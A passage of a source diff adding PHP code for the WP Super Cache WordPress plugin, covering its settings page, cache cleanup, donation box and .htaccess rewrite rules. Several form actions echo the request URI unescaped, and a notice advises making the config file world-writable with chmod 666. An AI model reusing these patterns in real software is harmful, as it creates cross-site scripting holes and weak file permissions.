+	// PHP's is_writable does not work with Win32 NTFS
+		 
+	if ($path{strlen($path)-1}=='/') // recursively return a temporary file path
+		return is_writeable_ACLSafe($path.uniqid(mt_rand()).'.tmp');
+	else if (is_dir($path))
+		return is_writeable_ACLSafe($path.'/'.uniqid(mt_rand()).'.tmp');
+	// check tmp file for read/write capabilities
+	$rm = file_exists($path);
+	$f = @fopen($path, 'a');
+	if ($f===false)
+		return false;
+	fclose($f);
+	if (!$rm)
+		unlink($path);
+	return true;
+}
+
+function get_wpcachehome() {
+	if( defined( 'WPCACHEHOME' ) == false ) {
+		if( is_file( dirname(__FILE__) . '/wp-cache-config-sample.php' ) ) {
+			define( 'WPCACHEHOME', trailingslashit( dirname(__FILE__) ) );
+		} elseif( is_file( dirname(__FILE__) . '/wp-super-cache/wp-cache-config-sample.php' ) ) {
+			define( 'WPCACHEHOME', dirname(__FILE__) . '/wp-super-cache/' );
+		} else {
+			die( 'Please create ' . WP_CONTENT_DIR . '/wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php' );
+		}
+	}
+}
+
+function wpsupercache_deactivate() {
+	global $wp_cache_config_file, $wp_cache_link, $cache_path;
+	$files = array( $wp_cache_config_file, $wp_cache_link );
+	foreach( $files as $file ) {
+		if( file_exists( $file ) )
+			unlink( $file );
+	}
+	if( !function_exists( 'prune_super_cache' ) )
+		include_once( 'wp-cache-phase2.php' );
+	prune_super_cache ($cache_path, true);
+	@unlink( $cache_path . '.htaccess' );
+	@unlink( $cache_path . 'meta' );
+	@unlink( $cache_path . 'supercache' );
+}
+register_deactivation_hook( __FILE__, 'wpsupercache_deactivate' );
+
+function wp_cache_add_pages() {
+	if( function_exists( 'is_site_admin' ) ) {
+		if( is_site_admin() ) {
+			add_submenu_page('wpmu-admin.php', __('WP Super Cache'), __('WP Super Cache'), 'manage_options', 'wpsupercache', 'wp_cache_manager');
+			add_options_page('WP Super Cache', 'WP Super Cache', 'manage_options', 'wpsupercache', 'wp_cache_manager');
+		}
+	} else {
+		add_options_page('WP Super Cache', 'WP Super Cache', 'manage_options', 'wpsupercache', 'wp_cache_manager');
+	}
+}
+add_action('admin_menu', 'wp_cache_add_pages');
+
+function wp_cache_manager() {
+	global $wp_cache_config_file, $valid_nonce, $supercachedir, $cache_path, $cache_enabled, $cache_compression, $super_cache_enabled, $wp_cache_hello_world;
+	global $wp_cache_clear_on_post_edit, $cache_rebuild_files, $wp_cache_mutex_disabled, $wp_cache_mobile_enabled, $wp_cache_mobile_whitelist, $wp_cache_mobile_browsers;
+	global $wp_cache_cron_check, $wp_cache_debug, $wp_cache_hide_donation, $wp_cache_not_logged_in;
+
+	if( function_exists( 'is_site_admin' ) )
+		if( !is_site_admin() )
+			return;
+
+	$supercachedir = $cache_path . 'supercache/' . preg_replace('/:.*$/', '',  $_SERVER["HTTP_HOST"]);
+	if( get_option( 'gzipcompression' ) == 1 )
+		update_option( 'gzipcompression', 0 );
+	if( !isset( $cache_rebuild_files ) )
+		$cache_rebuild_files = 0;
+
+	$valid_nonce = isset($_REQUEST['_wpnonce']) ? wp_verify_nonce($_REQUEST['_wpnonce'], 'wp-cache') : false;
+	/* http://www.netlobo.com/div_hiding.html */
+	?>
+<script type='text/javascript'>
+<!--
+function toggleLayer( whichLayer ) {
+  var elem, vis;
+  if( document.getElementById ) // this is the way the standards work
+    elem = document.getElementById( whichLayer );
+  else if( document.all ) // this is the way old msie versions work
+      elem = document.all[whichLayer];
+  else if( document.layers ) // this is the way nn4 works
+    elem = document.layers[whichLayer];
+  vis = elem.style;
+  // if the style.display value is blank we try to figure it out here
+  if(vis.display==''&&elem.offsetWidth!=undefined&&elem.offsetHeight!=undefined)
+    vis.display = (elem.offsetWidth!=0&&elem.offsetHeight!=0)?'block':'none';
+  vis.display = (vis.display==''||vis.display=='block')?'none':'block';
+}
+// -->
+//Clicking header opens fieldset options
+jQuery(document).ready(function(){
+	jQuery("fieldset h3").css("cursor","pointer").click(function(){
+		jQuery(this).parent("fieldset").find("p,form,ul,blockquote").toggle("slow");
+	});
+});
+</script>
+<?php
+	echo '<div class="wrap">';
+	echo "<h2>WP Super Cache Manager</h2>\n";
+	if( ini_get( 'safe_mode' ) ) {
+		?><h3>Warning! PHP Safe Mode Enabled!</h3>
+		<p>You may experience problems running this plugin because SAFE MODE is enabled. <?php
+		if( !ini_get( 'safe_mode_gid' ) ) {
+			?>Your server is set up to check the owner of PHP scripts before allowing them to read and write files.</p><p>You or an administrator may be able to make it work by changing the group owner of the plugin scripts to match that of the web server user. The group owner of the <?php echo WP_CONTENT_DIR; ?>/cache/ directory must also be changed. See the <a href='http://php.net/features.safe-mode'>safe mode manual page</a> for further details.</p><?php
+		} else {
+			?>You or an administrator must disable this. See the <a href='http://php.net/features.safe-mode'>safe mode manual page</a> for further details. This cannot be disabled in a .htaccess file unfortunately. It must be done in the php.ini config file.</p><?php
+		}
+	}
+	if(isset($_REQUEST['wp_restore_config']) && $valid_nonce) {
+		unlink($wp_cache_config_file);
+		echo '<strong>Configuration file changed, some values might be wrong. Load the page again from the "Settings" menu to reset them.</strong>';
+	}
+
+	if ( !wp_cache_check_link() ||
+		!wp_cache_verify_config_file() ||
+		!wp_cache_verify_cache_dir() ) {
+		echo "Cannot continue... fix previous problems and retry.";
+		echo "</div>\n";
+		return;
+	}
+
+	if (!wp_cache_check_global_config()) {
+		echo "</div>\n";
+		return;
+	}
+	if( $wp_cache_debug || !$wp_cache_cron_check ) {
+	if( function_exists( "wp_remote_get" ) == false ) {
+		$hostname = str_replace( 'http://', '', str_replace( 'https://', '', get_option( 'siteurl' ) ) );
+		if( strpos( $hostname, '/' ) )
+			$hostname = substr( $hostname, 0, strpos( $hostname, '/' ) );
+		$ip = gethostbyname( $hostname );
+		if( substr( $ip, 0, 3 ) == '127' || substr( $ip, 0, 7 ) == '192.168' ) {
+			?><h3>Warning! Your hostname "<?php echo $hostname; ?>" resolves to <?php echo $ip; ?></h3>
+			<div style='padding:0 8px;color:#9f6000;background-color:#feefb3;border:1px solid #9f6000;'>
+			<p>Your server thinks your hostname resolves to <?php echo $ip; ?>. Some services such as garbage collection by this plugin, and WordPress scheduled posts may not operate correctly.</p>
+			<p>Please see entry 16 in the <a href="http://wordpress.org/extend/plugins/wp-super-cache/faq/">Troubleshooting section</a> of the readme.txt</p>
+			</div>
+			<?php
+		} else {
+			wp_cache_replace_line('^ *\$wp_cache_cron_check', "\$wp_cache_cron_check = 1;", $wp_cache_config_file);
+		}
+	} else {
+		$cron_url = get_option( 'siteurl' ) . '/wp-cron.php?check=' . wp_hash('187425');
+		$cron = wp_remote_get($cron_url, array('timeout' => 0.01, 'blocking' => true));
+		if( is_array( $cron ) ) {
+			if( $cron[ 'response' ][ 'code' ] == '404' ) {
+				?><h3>Warning! wp-cron.php not found!</h3>
+				<div style='padding:0 8px;color:#9f6000;background-color:#feefb3;border:1px solid #9f6000;'>
+				<p>Unfortunately WordPress cannot find the file wp-cron.php. This script is required for the the correct operation of garbage collection by this plugin, WordPress scheduled posts as well as other critical activities.</p>
+				<p>Please see entry 16 in the <a href="http://wordpress.org/extend/plugins/wp-super-cache/faq/">Troubleshooting section</a> of the readme.txt</p>
+				</div>
+				<?php
+			} else {
+				wp_cache_replace_line('^ *\$wp_cache_cron_check', "\$wp_cache_cron_check = 1;", $wp_cache_config_file);
+			}
+		}
+	}
+	}
+
+	if( $cache_enabled == true && $super_cache_enabled == true && !got_mod_rewrite() ) {
+		?><h4 style='color: #a00'>Mod rewrite may not be installed!</h4>
+		<p>It appears that mod_rewrite is not installed. Sometimes this check isn't 100% reliable, especially if you are not using Apache. Please verify that the mod_rewrite module is loaded. It is required for serving Super Cache static files. You will still be able to use WP-Cache.</p><?php
+	}
+
+	if( !is_writeable_ACLSafe($wp_cache_config_file) ) {
+		define( "SUBMITDISABLED", 'disabled style="color: #aaa" ' );
+		?><h4 style='text-align:center; color: #a00'>Read Only Mode. Configuration cannot be changed. <a href="javascript:toggleLayer('readonlywarning');" title="Why your configuration may not be changed">Why</a></h4>
+		<div id='readonlywarning' style='border: 1px solid #aaa; margin: 2px; padding: 2px; display: none;'>
+		<p>The WP Super Cache configuration file is <code><?php echo WP_CONTENT_DIR; ?>/wp-cache-config.php</code> and cannot be modified. The file <?php echo WP_CONTENT_DIR; ?>/wp-cache-config.php must be writeable by the webserver to make any changes.
+		A simple way of doing that is by changing the permissions temporarily using the CHMOD command or through your ftp client. Make sure it's globally writeable and it should be fine.
+		Writeable: <code>chmod 666 <?php echo WP_CONTENT_DIR; ?>/wp-cache-config.php</code>
+		Readonly: <code>chmod 644 <?php echo WP_CONTENT_DIR; ?>/wp-cache-config.php</code></p>
+		</div><?php
+	} else {
+		define( "SUBMITDISABLED", ' ' );
+	}
+
+	// Server could be running as the owner of the wp-content directory.  Therefore, if it's
+	// writable, issue a warning only if the permissions aren't 755.
+	if( is_writeable_ACLSafe( WP_CONTENT_DIR . '/' ) ) {
+		$wp_content_stat = stat(WP_CONTENT_DIR . '/');
+		$wp_content_mode = ($wp_content_stat['mode'] & 0777);
+		if( $wp_content_mode != 0755 ) {
+			?><h4 style='text-align:center; color: #a00'>Warning! <?php echo WP_CONTENT_DIR; ?> is writeable!</h4>
+			<p>You should change the permissions on <?php echo WP_CONTENT_DIR; ?> and make it more restrictive. Use your ftp client, or the following command to fix things:<code>chmod 755 <?php echo WP_CONTENT_DIR; ?>/</code></p><?php
+		}
+	}
+
+	if ( $valid_nonce ) {
+		if( isset( $_POST[ 'wp_cache_status' ] ) ) {
+			if( isset( $_POST[ 'wp_cache_mobile_enabled' ] ) ) {
+				$wp_cache_mobile_enabled = 1;
+			} else {
+				$wp_cache_mobile_enabled = 0;
+			}
+			if( $wp_cache_mobile_enabled == 1 ) {
+				if( !isset( $wp_cache_mobile_whitelist ) )
+					wp_cache_replace_line('^ *\$wp_cache_mobile_whitelist', "\$wp_cache_mobile_whitelist = 'Stand Alone/QNws';", $wp_cache_config_file);
+				if( false == isset( $wp_cache_mobile_browsers ) )
+					wp_cache_replace_line('^ *\$wp_cache_mobile_browsers', "\$wp_cache_mobile_browsers = 'Android, 2.0 MMP, 240x320, AvantGo, BlackBerry, Blazer, Cellphone, Danger, DoCoMo, Elaine/3.0, EudoraWeb, hiptop, IEMobile, iPhone, iPod, KYOCERA/WX310K, LG/U990, MIDP-2.0, MMEF20, MOT-V, NetFront, Newt, Nintendo Wii, Nitro, Nokia, Opera Mini, Palm, Playstation Portable, portalmmm, Proxinet, ProxiNet, SHARP-TQ-GX10, Small, SonyEricsson, Symbian OS, SymbianOS, TS21i-10, UP.Browser, UP.Link, Windows CE, WinWAP';", $wp_cache_config_file);
+			}
+			wp_cache_replace_line('^ *\$wp_cache_mobile_enabled', "\$wp_cache_mobile_enabled = " . $wp_cache_mobile_enabled . ";", $wp_cache_config_file);
+			switch( $_POST[ 'wp_cache_status' ] ) {
+				case 'all':
+					wp_cache_enable();
+					break;
+				case 'none':
+					wp_cache_disable();
+					break;
+				case 'wpcache':
+					wp_cache_enable();
+					wp_super_cache_disable();
+					break;
+			}
+			if( isset( $_POST[ 'wp_cache_hello_world' ] ) ) {
+				$wp_cache_hello_world = 1;
+			} else {
+				$wp_cache_hello_world = 0;
+			}
+			wp_cache_replace_line('^ *\$wp_cache_hello_world', '$wp_cache_hello_world = ' . (int)$wp_cache_hello_world . ";", $wp_cache_config_file);
+			if( isset( $_POST[ 'wp_cache_clear_on_post_edit' ] ) ) {
+				$wp_cache_clear_on_post_edit = 1;
+			} else {
+				$wp_cache_clear_on_post_edit = 0;
+			}
+			wp_cache_replace_line('^ *\$wp_cache_clear_on_post_edit', "\$wp_cache_clear_on_post_edit = " . $wp_cache_clear_on_post_edit . ";", $wp_cache_config_file);
+			if( isset( $_POST[ 'cache_rebuild_files' ] ) ) {
+				$cache_rebuild_files = 1;
+			} else {
+				$cache_rebuild_files = 0;
+			}
+			wp_cache_replace_line('^ *\$cache_rebuild_files', "\$cache_rebuild_files = " . $cache_rebuild_files . ";", $wp_cache_config_file);
+			if( isset( $_POST[ 'wp_cache_mutex_disabled' ] ) ) {
+				$wp_cache_mutex_disabled = 0;
+			} else {
+				$wp_cache_mutex_disabled = 1;
+			}
+			if( defined( 'WPSC_DISABLE_LOCKING' ) ) {
+				$wp_cache_mutex_disabled = 1;
+			}
+			wp_cache_replace_line('^ *\$wp_cache_mutex_disabled', "\$wp_cache_mutex_disabled = " . $wp_cache_mutex_disabled . ";", $wp_cache_config_file);
+			if( isset( $_POST[ 'wp_cache_not_logged_in' ] ) ) {
+				if( $wp_cache_not_logged_in == 0 && function_exists( 'prune_super_cache' ) )
+					prune_super_cache ($cache_path, true);
+				$wp_cache_not_logged_in = 1;
+			} else {
+				$wp_cache_not_logged_in = 0;
+			}
+			wp_cache_replace_line('^ *\$wp_cache_not_logged_in', "\$wp_cache_not_logged_in = " . $wp_cache_not_logged_in . ";", $wp_cache_config_file);
+		}
+		if( defined( 'WPSC_DISABLE_COMPRESSION' ) ) {
+			$cache_compression_changed = false;
+			$cache_compression = 0;
+			wp_cache_replace_line('^ *\$cache_compression', "\$cache_compression = " . $cache_compression . ";", $wp_cache_config_file);
+		} elseif( isset( $_POST[ 'cache_compression' ] ) && $_POST[ 'cache_compression' ] != $cache_compression ) {
+			$cache_compression_changed = true;
+			$cache_compression = intval( $_POST[ 'cache_compression' ] );
+			wp_cache_replace_line('^ *\$cache_compression', "\$cache_compression = " . $cache_compression . ";", $wp_cache_config_file);
+			if( function_exists( 'prune_super_cache' ) )
+				prune_super_cache ($cache_path, true);
+			delete_option( 'super_cache_meta' );
+		}
+		if( isset( $_POST[ 'wp_cache_hide_donation' ] ) && $_POST[ 'wp_cache_hide_donation' ] != $wp_cache_hide_donation ) {
+			$wp_cache_hide_donation = intval( $_POST[ 'wp_cache_hide_donation' ] );
+			wp_cache_replace_line('^ *\$wp_cache_hide_donation', "\$wp_cache_hide_donation = " . $wp_cache_hide_donation . ";", $wp_cache_config_file);
+		}
+	}
+
+	?>
+	<table><td><fieldset class="options" id="show-this-fieldset"> 
+	<h3>WP Super Cache Status</h3><?php
+	echo '<form name="wp_manager" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	?>
+	<label><input type='radio' name='wp_cache_status' value='all' <?php if( $cache_enabled == true && $super_cache_enabled == true ) { echo 'checked=checked'; } ?>> <strong>ON</strong> <span class="setting-description">WP Cache and Super Cache enabled</span></label><br />
+	<label><input type='radio' name='wp_cache_status' value='wpcache' <?php if( $cache_enabled == true && $super_cache_enabled == false ) { echo 'checked=checked'; } ?>> <strong>HALF ON</strong> <span class="setting-description">Super Cache Disabled, only legacy WP-Cache caching.</span></label><br />
+	<label><input type='radio' name='wp_cache_status' value='none' <?php if( $cache_enabled == false ) { echo 'checked=checked'; } ?>> <strong>OFF</strong> <span class="setting-description">WP Cache and Super Cache disabled</span></label><br />
+	<p><label><input type='checkbox' name='wp_cache_not_logged_in' <?php if( $wp_cache_not_logged_in ) echo "checked"; ?> value='1'> Don't cache pages for logged in users.</label></p>
+	<p><label><input type='checkbox' name='wp_cache_hello_world' <?php if( $wp_cache_hello_world ) echo "checked"; ?> value='1'> Proudly tell the world your server is Digg proof! (places a message in your blog's footer)</label></p>
+	<p><label><input type='checkbox' name='wp_cache_clear_on_post_edit' <?php if( $wp_cache_clear_on_post_edit ) echo "checked"; ?> value='1'> Clear all cache files when a post or page is published. (This may significantly slow down saving of posts.)</label></p>
+	<p><label><input type='checkbox' name='cache_rebuild_files' <?php if( $cache_rebuild_files ) echo "checked"; ?> value='1'> Cache rebuild. Serve a supercache file to anonymous users while a new file is being generated. Recommended for <em>very</em> busy websites with lots of comments. Makes "directly cached pages" and "Lockdown mode" obsolete.</label></p>
+	<?php if( false == defined( 'WPSC_DISABLE_LOCKING' ) ) { ?>
+		<p><label><input type='checkbox' name='wp_cache_mutex_disabled' <?php if( !$wp_cache_mutex_disabled ) echo "checked"; ?> value='0'> Coarse file locking. You probably don't need this but it may help if your server is underpowered. Warning! <em>May cause your server to lock up in very rare cases!</em></label></p>
+	<?php } ?>
+	<p><label><input type='checkbox' name='wp_cache_mobile_enabled' <?php if( $wp_cache_mobile_enabled ) echo "checked"; ?> value='1'> Mobile device support.</label>
+	<?php
+	$home_path = trailingslashit( get_home_path() );
+	if ( false === strpos( implode( "\n", extract_from_markers( $home_path.'.htaccess', 'WPSuperCache' ) ), 'SHARP-TQ-GX10' ) ) { // we don't have the rewrite rules
+	?>
+	<blockquote><p>Mobile support requires extra rules in your .htaccess file, or you can set the plugin to half-on mode. Here's your options (in order of difficulty):
+	<ol><li> 1. Set the plugin to half on mode and enable mobile support.</li>
+	<li> 2. Delete the plugin mod_rewrite rules in <?php echo $home_path; ?>.htaccess enclosed by <code># BEGIN WPSuperCache</code> and <code># END WPSuperCache</code> and let the plugin regenerate them by reloading this page.</li>
+	<li> 3. Add the rules yourself. Edit <?php echo $home_path; ?>.htaccess and find the block of code enclosed by the lines <code># BEGIN WPSuperCache</code> and <code># END WPSuperCache</code>. There are two sections that look very similar. Just below the line <code>%{HTTP:Cookie} !^.*(comment_author_|wordpress|wp-postpass_).*$</code> add this line: (do it twice, once for each section)</p>
+	<div style='border: 1px solid #333; width:400px; overflow: scroll'><pre>RewriteCond %{HTTP_user_agent} !^.*(Android|2.0\ MMP|240x320|AvantGo|BlackBerry|Blazer|Cellphone|Danger|DoCoMo|Elaine/3.0|EudoraWeb|hiptop|IEMobile|iPhone|iPod|KYOCERA/WX310K|LG/U990|MIDP-2.0|MMEF20|MOT-V|NetFront|Newt|Nintendo\ Wii|Nitro|Nokia|Opera\ Mini|Palm|Playstation\ Portable|portalmmm|Proxinet|ProxiNet|SHARP-TQ-GX10|Small|SonyEricsson|Symbian\ OS|SymbianOS|TS21i-10|UP.Browser|UP.Link|Windows\ CE|WinWAP).*</pre></div></li></ol></blockquote>
+	<?php }  ?>
+	<p><strong>Note:</strong> If uninstalling this plugin, make sure the directory <em><?php echo WP_CONTENT_DIR; ?></em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)</p>
+	<?php
+	echo "<div class='submit'><input type='submit' " . SUBMITDISABLED . " value='Update Status &raquo;' /></div>";
+	wp_nonce_field('wp-cache');
+	?>
+	</form>
+	<?php
+	if( $super_cache_enabled && function_exists( 'apache_get_modules' ) ) {
+		$mods = apache_get_modules();
+		$required_modules = array( 'mod_mime' => 'Required to serve compressed supercache files properly.', 'mod_headers' => 'Required to set caching information on supercache pages. IE7 users will see old pages without this module.', 'mod_expires' => 'Set the expiry date on supercached pages. Visitors may not see new pages when they refresh or leave comments without this module.' );
+		foreach( $required_modules as $req => $desc ) {
+			if( !in_array( $req, $mods ) ) {
+				$missing_mods[ $req ] = $desc;
+			}
+		}
+		if( isset( $missing_mods) && is_array( $missing_mods ) ) {
+			echo "<h3>Missing Apache Modules</h3>";
+			echo "<p>The following Apache modules are missing. The plugin will work in half-on mode without them. In full Supercache mode, your visitors may see corrupted pages or out of date content however.</p>";
+			echo "<ul>";
+			foreach( $missing_mods as $req => $desc ) {
+				echo "<li> $req - $desc</li>";
+			}
+			echo "</ul>";
+		}
+	}
+	?>
+	</fieldset>
+	</td><td valign='top'>
+	<div style='background: #ffc; border: 1px solid #333; margin: 2px; padding: 5px'>
+	<h3 align='center'>Make WordPress Faster</h3>
+	<?php if( $wp_cache_hide_donation != 1 ) { ?>
+	<p><a href="http://ocaoimh.ie/wp-super-cache/?r=wpsc">WP Super Cache</a> really makes your blog go faster. Make it go faster<sup>*</sup> by buying me an <a href="https://www.amazon.co.uk/gp/gc/order-email/ref=g_gc-dp_lp_email">Amazon gift card</a>! Make it out to "donncha@ocaoimh.ie". A Â£10 card would be nice but it's up to you how much you think this plugin is worth to you.</p>
+	<p>If Amazon isn't your thing, there's also PayPal. Click the "Donate" button below or take a quick peek at my <a href="http://ocaoimh.ie/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3d3dy5hbWF6b24uY28udWsvZ3AvcmVnaXN0cnkvMzVaQ0dJVTJBSDROQg==">wishlist</a>.</p>
+	<p>Thanks in advance!<br />Donncha<br />
+	<small>* Ok, it won't go any faster but you'll make this plugin author very happy!</small></p>
+	<div align='center'>
+	<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
+	<input type="hidden" name="cmd" value="_s-xclick"/>
+	<input type="hidden" name="hosted_button_id" value="3244504"/>
+	<input type="image" src="https://www.paypal.com/en_GB/i/btn/btn_donate_SM.gif" border="0" name="submit" alt=""/>
+	<img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1"/><br />
+	</form>
+	<p>Don't show me this again. <form action="<?php echo $_SERVER["REQUEST_URI"]; ?>" method="post"><input type='hidden' name='wp_cache_hide_donation' value='1' /><input type='submit' value='Hide' /><?php wp_nonce_field('wp-cache'); ?></form></p>
+	</div>
+	<?php } else { ?>
+	<p><a href="http://ocaoimh.ie/wp-super-cache/?r=supercache">WP Super Cache</a> is maintained and developed by <a href="http://ocaoimh.ie/?r=supercache">Donncha O Caoimh</a> with contributions from many others.</p>
+	<p>He blogs at <a href="http://ocaoimh.ie/?r=supercache">Holy Shmoly</a>, posts photos at <a href="http://inphotos.org/?r=supercache">In Photos.org</a> and <a href="http://ocaoimh.ie/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3d3dy5hbWF6b24uY28udWsvZ3AvcmVnaXN0cnkvMzVaQ0dJVTJBSDROQg==">wishes</a> he had more time to read and relax.</p><p>Please say hi to him on <a href="http://twitter.com/donncha/">Twitter</a> too!</p>
+	<?php } ?>
+	</div>
+
+	</td></table>
+	<?php
+
+	wp_cache_files();
+
+	wsc_mod_rewrite();
+
+	wp_cache_edit_max_time();
+
+	echo '<a name="files"></a><fieldset class="options"><h3>Accepted Filenames &amp; Rejected URIs</h3>';
+	wp_cache_edit_rejected();
+	echo "\n";
+	wp_cache_edit_accepted();
+	echo '</fieldset>';
+
+	wp_cache_edit_rejected_ua();
+
+
+	wp_lock_down();
+
+	wp_cache_restore();
+
+	ob_start();
+	if( defined( 'WP_CACHE' ) ) {
+		if( function_exists( 'do_cacheaction' ) ) {
+			do_cacheaction( 'cache_admin_page' );
+		}
+	}
+	$out = ob_get_contents();
+	ob_end_clean();
+	if( SUBMITDISABLED == ' ' && $out != '' ) {
+		echo '<fieldset class="options"><h3>Cache Plugins</h3>';
+		echo $out;
+		echo '</fieldset>';
+	}
+
+	echo "</div>\n";
+}
+
+function wsc_mod_rewrite() {
+	global $super_cache_enabled, $cache_compression, $cache_compression_changed, $valid_nonce, $cache_path;
+	if( $super_cache_enabled == false )
+		return;
+	if( false == defined( 'WPSC_DISABLE_COMPRESSION' ) ) {
+	?>
+	<fieldset class="options"> 
+	<h3>Super Cache Compression</h3>
+	<form name="wp_manager" action="<?php echo $_SERVER["REQUEST_URI"]; ?>" method="post">
+	<label><input type="radio" name="cache_compression" value="1" <?php if( $cache_compression ) { echo "checked=checked"; } ?>> Enabled</label>
+	<label><input type="radio" name="cache_compression" value="0" <?php if( !$cache_compression ) { echo "checked=checked"; } ?>> Disabled</label>
+	<p>Compression is disabled by default because some hosts have problems with compressed files. Switching this on and off clears the cache.</p>
+	<?php
+	if( isset( $cache_compression_changed ) && isset( $_POST[ 'cache_compression' ] ) && !$cache_compression ) {
+		?><p><strong>Super Cache compression is now disabled.</strong></p> <?php
+	} elseif( isset( $cache_compression_changed ) && isset( $_POST[ 'cache_compression' ] ) && $cache_compression ) {
+		?><p><strong>Super Cache compression is now enabled.</strong></p><?php
+	}
+	echo '<div class="submit"><input ' . SUBMITDISABLED . 'type="submit" value="Update Compression &raquo;" /></div>';
+	wp_nonce_field('wp-cache');
+	echo "</form>\n";
+	?></fieldset>
+	<?php } ?>
+
+	<a name="modrewrite"></a><fieldset class="options"> 
+	<h3>Mod Rewrite Rules</h3><?php
+	if ( isset( $_SERVER[ "PHP_DOCUMENT_ROOT" ] ) ) {
+		$document_root = $_SERVER[ "PHP_DOCUMENT_ROOT" ];
+		$apache_root = $_SERVER[ "PHP_DOCUMENT_ROOT" ];
+	} else {
+		$document_root = $_SERVER[ "DOCUMENT_ROOT" ];
+		$apache_root = '%{DOCUMENT_ROOT}';
+	}
+	$home_path = get_home_path();
+	$home_root = parse_url(get_bloginfo('url'));
+	$home_root = trailingslashit($home_root['path']);
+	$home_root = isset( $home_root['path'] ) ? trailingslashit( $home_root['path'] ) : '/';
+	$inst_root = str_replace( '//', '/', '/' . trailingslashit( str_replace( $document_root, '', str_replace( '\\', '/', WP_CONTENT_DIR ) ) ) );
+	$wprules = implode( "\n", extract_from_markers( $home_path.'.htaccess', 'WordPress' ) );
+	$wprules = str_replace( "RewriteEngine On\n", '', $wprules );
+	$wprules = str_replace( "RewriteBase $home_root\n", '', $wprules );
+	$scrules = implode( "\n", extract_from_markers( $home_path.'.htaccess', 'WPSuperCache' ) );
+
+	if( substr( get_option( 'permalink_structure' ), -1 ) == '/' ) {
+		$condition_rules[] = "RewriteCond %{REQUEST_URI} !^.*[^/]$";
+		$condition_rules[] = "RewriteCond %{REQUEST_URI} !^.*//.*$";
+	}
+	$condition_rules[] = "RewriteCond %{REQUEST_METHOD} !=POST";
+	$condition_rules[] = "RewriteCond %{QUERY_STRING} !.*=.*";
+	$condition_rules[] = "RewriteCond %{HTTP:Cookie} !^.*(comment_author_|wordpress|wp-postpass_).*$";
+	$condition_rules[] = "RewriteCond %{HTTP_user_agent} !^.*(Android|2.0\\ MMP|240x320|AvantGo|BlackBerry|Blazer|Cellphone|Danger|DoCoMo|Elaine/3.0|EudoraWeb|hiptop|IEMobile|iPhone|iPod|KYOCERA/WX310K|LG/U990|MIDP-2.0|MMEF20|MOT-V|NetFront|Newt|Nintendo\\ Wii|Nitro|Nokia|Opera\\ Mini|Palm|Playstation\\ Portable|portalmmm|Proxinet|ProxiNet|SHARP-TQ-GX10|Small|SonyEricsson|Symbian\\ OS|SymbianOS|TS21i-10|UP.Browser|UP.Link|Windows\\ CE|WinWAP).*";
+	$condition_rules = apply_filters( 'supercacherewriteconditions', $condition_rules );
+
+	$rules = "<IfModule mod_rewrite.c>\n";
+	$rules .= "RewriteEngine On\n";
+	$rules .= "RewriteBase $home_root\n"; // props Chris Messina
+	$charset = get_option('blog_charset') == '' ? 'UTF-8' : get_option('blog_charset');
+	$rules .= "AddDefaultCharset {$charset}\n";
+	$rules .= "CONDITION_RULES";
+	$rules .= "RewriteCond %{HTTP:Accept-Encoding} gzip\n";
+	$rules .= "RewriteCond {$apache_root}{$inst_root}cache/supercache/%{HTTP_HOST}{$home_root}$1/index.html.gz -f\n";
+	$rules .= "RewriteRule ^(.*) {$inst_root}cache/supercache/%{HTTP_HOST}{$home_root}$1/index.html.gz [L]\n\n";
+
+	$rules .= "CONDITION_RULES";
+	$rules .= "RewriteCond {$apache_root}{$inst_root}cache/supercache/%{HTTP_HOST}{$home_root}$1/index.html -f\n";
+	$rules .= "RewriteRule ^(.*) {$inst_root}cache/supercache/%{HTTP_HOST}{$home_root}$1/index.html [L]\n";
+	$rules .= "</IfModule>\n";
+	$rules = apply_filters( 'supercacherewriterules', $rules );
+
+	$rules = str_replace( "CONDITION_RULES", implode( "\n", $condition_rules ) . "\n", $rules );
+
+	$dohtaccess = true;
+	if( function_exists( 'is_site_admin' ) ) {
+		echo "<h4 style='color: #a00'>WordPress MU Detected</h4><p>Unfortunately the rewrite rules cannot be updated automatically when running WordPress MU. Please open your .htaccess and add the following mod_rewrite rules above any other rules in that file.</p>";
+	} elseif( !$wprules || $wprules == '' ) {
+		echo "<h4 style='color: #a00'>Mod Rewrite rules cannot be updated!</h4>";
+		echo "<p>You must have <strong>BEGIN</strong> and <strong>END</strong> markers in {$home_path}.htaccess for the auto update to work. They look like this and surround the main WordPress mod_rewrite rules:
+		<blockquote><pre><em># BEGIN WordPress</em>\n RewriteCond %{REQUEST_FILENAME} !-f\n RewriteCond %{REQUEST_FILENAME} !-d\n RewriteRule . /index.php [L]\n <em># END WordPress</em></pre></blockquote>
+		Refresh this page when you have updated your .htaccess file.";
+		echo "</fieldset></div>";
+		return;
+	} elseif( strpos( $wprules, 'wordpressuser' ) ) { // Need to clear out old mod_rewrite rules
+		echo "<p><strong>Thank you for upgrading.</strong> The mod_rewrite rules changed since you last installed this plugin. Unfortunately you must remove the old supercache rules before the new ones are updated. Refresh this page when you have edited your .htaccess file. If you wish to manually upgrade, change the following line: <blockquote><code>RewriteCond %{HTTP_COOKIE} !^.*wordpressuser.*\$</code></blockquote> so it looks like this: <blockquote><code>RewriteCond %{HTTP:Cookie} !^.*wordpress.*\$</code></blockquote> The only changes are 'HTTP_COOKIE' becomes 'HTTP:Cookie' and 'wordpressuser' becomes 'wordpress'. This is a WordPress 2.5 change but it's backwards compatible with older versions if you're brave enough to use them.</p>";
+		echo "</fieldset></div>";
+		return;
+	} elseif( $scrules != '' && strpos( $scrules, '%{REQUEST_URI} !^.*[^/]$' ) === false && substr( get_option( 'permalink_structure' ), -1 ) == '/' ) { // permalink structure has a trailing slash, need slash check in rules.
+		echo "<div style='padding:0 8px;color:#9f6000;background-color:#feefb3;border:1px solid #9f6000;'><h4>Trailing slash check required.</h4><p>It looks like your blog has URLs that end with a '/'. Unfortunately since you installed this plugin a duplicate content bug has been found where URLs not ending in a '/' end serve the same content as those with the '/' and do not redirect to the proper URL.";
+		echo "To fix, you must edit your .htaccess file and add these two rules to the two groups of Super Cache rules:</p>";
+		echo "<blockquote><code>RewriteCond %{REQUEST_URI} !^.*[^/]$RewriteCond %{REQUEST_URI} !^.*//.*$</code></blockquote>";
